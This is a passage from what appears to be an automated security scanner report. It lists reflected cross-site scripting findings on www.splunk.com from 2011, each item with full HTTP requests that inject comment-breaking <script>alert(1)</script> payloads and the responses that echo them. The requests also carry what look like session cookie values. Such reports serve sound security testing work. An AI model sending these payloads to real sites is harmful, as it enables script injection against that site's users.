Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /videos?r=modala012a--><script>alert(1)</script>bdc5183cb13 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:49 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 76917

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>bdc5183cb13 -->
...[SNIP]...

4.497. http://www.splunk.com/view/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload c4614--><script>alert(1)</script>d9aa5331c73 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewc4614--><script>alert(1)</script>d9aa5331c73/ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:46 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:46 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>d9aa5331c73/ -->
...[SNIP]...

4.498. http://www.splunk.com/view/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b181b--><script>alert(1)</script>81c722c99ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/?b181b--><script>alert(1)</script>81c722c99ff=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:55 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:55 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:55 GMT; path=/
ETag: 57bbe3de95c4ad027902e4a9cb6c0e0f1296944335
Last-Modified: Sat, 05 Feb 2011 22:18:55 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18248

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>81c722c99ff=1 -->
...[SNIP]...

4.499. http://www.splunk.com/view/SP-CAAAAAG [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAAG

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload b0e48--><script>alert(1)</script>ca595a7ca02 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewb0e48--><script>alert(1)</script>ca595a7ca02/SP-CAAAAAG HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:08 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:09 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:09 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ca595a7ca02/SP-CAAAAAG -->
...[SNIP]...

4.500. http://www.splunk.com/view/SP-CAAAAAG [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAAG

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload bfc82--><script>alert(1)</script>ef1ecd35f25 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAAAGbfc82--><script>alert(1)</script>ef1ecd35f25 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:40 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:40 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:40 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ef1ecd35f25 -->
...[SNIP]...

4.501. http://www.splunk.com/view/SP-CAAAAAG [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAAG

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a93ad--><script>alert(1)</script>13cec529721 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAAAG?a93ad--><script>alert(1)</script>13cec529721=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:14 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24014

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>13cec529721=1 -->
...[SNIP]...

4.502. http://www.splunk.com/view/SP-CAAAAAH [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAAH

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload fa2b1--><script>alert(1)</script>7698b7372f0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewfa2b1--><script>alert(1)</script>7698b7372f0/SP-CAAAAAH HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:00 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:00 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:00 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>7698b7372f0/SP-CAAAAAH -->
...[SNIP]...

4.503. http://www.splunk.com/view/SP-CAAAAAH [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAAH

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload a370e--><script>alert(1)</script>b0dcdc76c36 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAAAHa370e--><script>alert(1)</script>b0dcdc76c36 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:30 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:30 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b0dcdc76c36 -->
...[SNIP]...

4.504. http://www.splunk.com/view/SP-CAAAAAH [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAAH

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload dd3b3--><script>alert(1)</script>8573955893e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/SP-CAAAAAH?dd3b3--><script>alert(1)</script>8573955893e=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:48 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8573955893e=1 -->
...[SNIP]...

4.505. http://www.splunk.com/view/SP-CAAAAH7 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAH7

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e8b86--><script>alert(1)</script>872651a0663 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewe8b86--><script>alert(1)</script>872651a0663/SP-CAAAAH7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; 